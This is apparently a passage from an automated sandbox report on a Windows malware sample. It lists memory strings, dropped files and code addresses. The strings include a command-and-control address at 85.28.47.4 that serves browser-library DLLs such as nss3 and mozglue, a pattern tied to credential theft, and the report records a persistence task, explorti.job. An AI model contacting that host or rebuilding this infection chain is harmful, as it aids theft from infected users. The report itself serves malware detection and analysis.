Source: 8550c65a2f.exe, 0000000B.00000002.2341495312.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/20475a59bac849d.phpCa
Source: j7iUba2bki.exe, 00000000.00000002.2215514632.000000000177F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/freebl3.dll
Source: j7iUba2bki.exe, 00000000.00000002.2215514632.000000000177F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/mozglue.dll
Source: j7iUba2bki.exe, 00000000.00000002.2215514632.000000000177F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/msvcp140.dll:h
Source: j7iUba2bki.exe, 00000000.00000002.2215514632.000000000177F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/msvcp140.dllfh
Source: j7iUba2bki.exe, 00000000.00000002.2215514632.000000000177F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/nss3.dll
Source: j7iUba2bki.exe, 00000000.00000002.2215514632.000000000177F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/nss3.dll~B
Source: j7iUba2bki.exe, 00000000.00000002.2215514632.000000000177F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/softokn3.dll
Source: j7iUba2bki.exe, 00000000.00000002.2215514632.000000000177F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/sqlite3.dll
Source: j7iUba2bki.exe, 00000000.00000002.2215514632.000000000177F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/vcruntime140.dll
Source: j7iUba2bki.exe, 00000000.00000002.2215514632.000000000177F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/vcruntime140.dll:f
Source: j7iUba2bki.exe, 00000000.00000002.2215514632.000000000176C000.00000004.00000020.00020000.00000000.sdmp, 8550c65a2f.exe, 0000000B.00000002.2341495312.000000000147F000.00000004.00000020.00020000.00000000.sdmp, 8550c65a2f.exe, 0000000B.00000002.2341495312.000000000142E000.00000004.00000020.00020000.00000000.sdmp, 8550c65a2f.exe, 0000000B.00000002.2341495312.000000000146B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/920475a59bac849d.php
Source: 8550c65a2f.exe, 0000000B.00000002.2341495312.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/920475a59bac849d.php&a
Source: 8550c65a2f.exe, 0000000B.00000002.2341495312.000000000146B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/920475a59bac849d.phpc
Source: 8550c65a2f.exe, 0000000B.00000002.2341495312.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/dows
Source: 8550c65a2f.exe, 0000000B.00000002.2341495312.000000000146B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/i
Source: j7iUba2bki.exe, 00000000.00000002.2215514632.000000000172E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4ProgramData=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: j7iUba2bki.exe, random[1].exe.9.dr, 8550c65a2f.exe.9.dr	String found in binary or memory: http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07
Source: j7iUba2bki.exe, random[1].exe.9.dr, 8550c65a2f.exe.9.dr	String found in binary or memory: http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr
Source: j7iUba2bki.exe, random[1].exe.9.dr, 8550c65a2f.exe.9.dr	String found in binary or memory: http://pki-ocsp.symauth.com0
Source: Amcache.hve.5.dr	String found in binary or memory: http://upx.sf.net
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: j7iUba2bki.exe, 00000000.00000002.2233621208.000000001CFC3000.00000004.00000020.00020000.00000000.sdmp, j7iUba2bki.exe, 00000000.00000002.2248227812.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: j7iUba2bki.exe, 00000000.00000003.2082785713.00000000017C7000.00000004.00000020.00020000.00000000.sdmp, BKJEHCAK.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: j7iUba2bki.exe, 00000000.00000002.2215514632.0000000001882000.00000004.00000020.00020000.00000000.sdmp, KJECFHCBKKEBAKFIJDHI.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: j7iUba2bki.exe, 00000000.00000002.2215514632.0000000001882000.00000004.00000020.00020000.00000000.sdmp, KJECFHCBKKEBAKFIJDHI.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: j7iUba2bki.exe, 00000000.00000003.2082785713.00000000017C7000.00000004.00000020.00020000.00000000.sdmp, BKJEHCAK.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: j7iUba2bki.exe, 00000000.00000003.2082785713.00000000017C7000.00000004.00000020.00020000.00000000.sdmp, BKJEHCAK.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: j7iUba2bki.exe, 00000000.00000003.2082785713.00000000017C7000.00000004.00000020.00020000.00000000.sdmp, BKJEHCAK.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: j7iUba2bki.exe, 00000000.00000002.2215514632.0000000001882000.00000004.00000020.00020000.00000000.sdmp, KJECFHCBKKEBAKFIJDHI.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: j7iUba2bki.exe, 00000000.00000002.2215514632.0000000001882000.00000004.00000020.00020000.00000000.sdmp, KJECFHCBKKEBAKFIJDHI.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: j7iUba2bki.exe, 00000000.00000003.2082785713.00000000017C7000.00000004.00000020.00020000.00000000.sdmp, BKJEHCAK.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: j7iUba2bki.exe, 00000000.00000003.2082785713.00000000017C7000.00000004.00000020.00020000.00000000.sdmp, BKJEHCAK.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: j7iUba2bki.exe, 00000000.00000003.2082785713.00000000017C7000.00000004.00000020.00020000.00000000.sdmp, BKJEHCAK.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: KJECFHCBKKEBAKFIJDHI.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: GIEHIDHJDBFIIECAKECBKJJKKE.0.dr	String found in binary or memory: https://support.mozilla.org
Source: GIEHIDHJDBFIIECAKECBKJJKKE.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: GIEHIDHJDBFIIECAKECBKJJKKE.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: j7iUba2bki.exe, 00000000.00000002.2215514632.0000000001882000.00000004.00000020.00020000.00000000.sdmp, KJECFHCBKKEBAKFIJDHI.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: j7iUba2bki.exe, 00000000.00000002.2215514632.0000000001882000.00000004.00000020.00020000.00000000.sdmp, KJECFHCBKKEBAKFIJDHI.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: j7iUba2bki.exe, 00000000.00000003.2082785713.00000000017C7000.00000004.00000020.00020000.00000000.sdmp, BKJEHCAK.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: j7iUba2bki.exe, 00000000.00000003.2082785713.00000000017C7000.00000004.00000020.00020000.00000000.sdmp, BKJEHCAK.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: GIEHIDHJDBFIIECAKECBKJJKKE.0.dr	String found in binary or memory: https://www.mozilla.org
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.0000000000486000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: GIEHIDHJDBFIIECAKECBKJJKKE.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.0000000000486000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.0000000000486000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: GIEHIDHJDBFIIECAKECBKJJKKE.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.0000000000486000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/vchost.exe
Source: j7iUba2bki.exe, 00000000.00000003.2161315964.000000002F35A000.00000004.00000020.00020000.00000000.sdmp, GIEHIDHJDBFIIECAKECBKJJKKE.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: GIEHIDHJDBFIIECAKECBKJJKKE.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: j7iUba2bki.exe, 00000000.00000003.2161315964.000000002F35A000.00000004.00000020.00020000.00000000.sdmp, GIEHIDHJDBFIIECAKECBKJJKKE.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000052A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: j7iUba2bki.exe, 00000000.00000003.2161315964.000000002F35A000.00000004.00000020.00020000.00000000.sdmp, GIEHIDHJDBFIIECAKECBKJJKKE.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000052A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe

System Summary

PE file contains section with special chars

Source: FCFBGIDAEH.exe.0.dr	Static PE information: section name:
Source: FCFBGIDAEH.exe.0.dr	Static PE information: section name: .idata
Source: FCFBGIDAEH.exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: .idata
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: explorti.exe.7.dr	Static PE information: section name:
Source: explorti.exe.7.dr	Static PE information: section name: .idata
Source: explorti.exe.7.dr	Static PE information: section name:

PE file has nameless sections

Source: j7iUba2bki.exe	Static PE information: section name:
Source: j7iUba2bki.exe	Static PE information: section name:
Source: j7iUba2bki.exe	Static PE information: section name:
Source: j7iUba2bki.exe	Static PE information: section name:
Source: j7iUba2bki.exe	Static PE information: section name:
Source: random[1].exe.9.dr	Static PE information: section name:
Source: random[1].exe.9.dr	Static PE information: section name:
Source: random[1].exe.9.dr	Static PE information: section name:
Source: random[1].exe.9.dr	Static PE information: section name:
Source: random[1].exe.9.dr	Static PE information: section name:
Source: 8550c65a2f.exe.9.dr	Static PE information: section name:
Source: 8550c65a2f.exe.9.dr	Static PE information: section name:
Source: 8550c65a2f.exe.9.dr	Static PE information: section name:
Source: 8550c65a2f.exe.9.dr	Static PE information: section name:
Source: 8550c65a2f.exe.9.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C37B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C37B700
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C37B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C37B8C0
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C37B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C37B910
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C31F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C31F280

Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C3135A0	0_2_6C3135A0
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C38542B	0_2_6C38542B
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C355C10	0_2_6C355C10
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C362C10	0_2_6C362C10
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C38AC00	0_2_6C38AC00
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C38545C	0_2_6C38545C
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C325440	0_2_6C325440
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C3734A0	0_2_6C3734A0
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C37C4A0	0_2_6C37C4A0
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C326C80	0_2_6C326C80
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C356CF0	0_2_6C356CF0
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C31D4E0	0_2_6C31D4E0
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C33D4D0	0_2_6C33D4D0
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C3264C0	0_2_6C3264C0
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C33ED10	0_2_6C33ED10
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C340512	0_2_6C340512
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C32FD00	0_2_6C32FD00
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C3785F0	0_2_6C3785F0
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C350DD0	0_2_6C350DD0
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C379E30	0_2_6C379E30
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C357E10	0_2_6C357E10
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C365600	0_2_6C365600
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C31C670	0_2_6C31C670
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C386E63	0_2_6C386E63
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C339E50	0_2_6C339E50
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C353E50	0_2_6C353E50
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C334640	0_2_6C334640
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C362E4E	0_2_6C362E4E
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C374EA0	0_2_6C374EA0
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C335E90	0_2_6C335E90
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C37E680	0_2_6C37E680
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C31BEF0	0_2_6C31BEF0
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C32FEF0	0_2_6C32FEF0
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C3876E3	0_2_6C3876E3
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C357710	0_2_6C357710
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C329F00	0_2_6C329F00
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C3677A0	0_2_6C3677A0
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C346FF0	0_2_6C346FF0
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C31DFE0	0_2_6C31DFE0
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C35B820	0_2_6C35B820
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C364820	0_2_6C364820
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C327810	0_2_6C327810
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C35F070	0_2_6C35F070
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C338850	0_2_6C338850
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C33D850	0_2_6C33D850
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C3460A0	0_2_6C3460A0
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C33C0E0	0_2_6C33C0E0
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C3558E0	0_2_6C3558E0
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C3850C7	0_2_6C3850C7
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C36B970	0_2_6C36B970
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C38B170	0_2_6C38B170
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C32D960	0_2_6C32D960
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C33A940	0_2_6C33A940
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C34D9B0	0_2_6C34D9B0
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C31C9A0	0_2_6C31C9A0
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C355190	0_2_6C355190
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C372990	0_2_6C372990
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C359A60	0_2_6C359A60
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C32CAB0	0_2_6C32CAB0
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C382AB0	0_2_6C382AB0
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C3122A0	0_2_6C3122A0
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C344AA0	0_2_6C344AA0
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C38BA90	0_2_6C38BA90
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C331AF0	0_2_6C331AF0
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C35E2F0	0_2_6C35E2F0
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C358AC0	0_2_6C358AC0
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C35D320	0_2_6C35D320
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C32C370	0_2_6C32C370
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C315340	0_2_6C315340
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C31F380	0_2_6C31F380
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C3853C8	0_2_6C3853C8
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 9_2_0026E410	9_2_0026E410
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 9_2_002A3048	9_2_002A3048
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 9_2_00264CD0	9_2_00264CD0
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 9_2_00297D63	9_2_00297D63
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 9_2_002A763B	9_2_002A763B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 9_2_002A6EE9	9_2_002A6EE9
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 9_2_00264AD0	9_2_00264AD0
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 9_2_002A8700	9_2_002A8700
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 9_2_002A775B	9_2_002A775B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 9_2_002A2BB0	9_2_002A2BB0
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Code function: 11_2_7F4C0000	11_2_7F4C0000
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Code function: 11_2_7F4C0A30	11_2_7F4C0A30

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: String function: 6C34CBE8 appears 134 times
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: String function: 6C3594D0 appears 90 times

Source: j7iUba2bki.exe, 00000000.00000002.2248812033.000000006C595000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs j7iUba2bki.exe
Source: j7iUba2bki.exe, 00000000.00000002.2215514632.000000000189C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs j7iUba2bki.exe
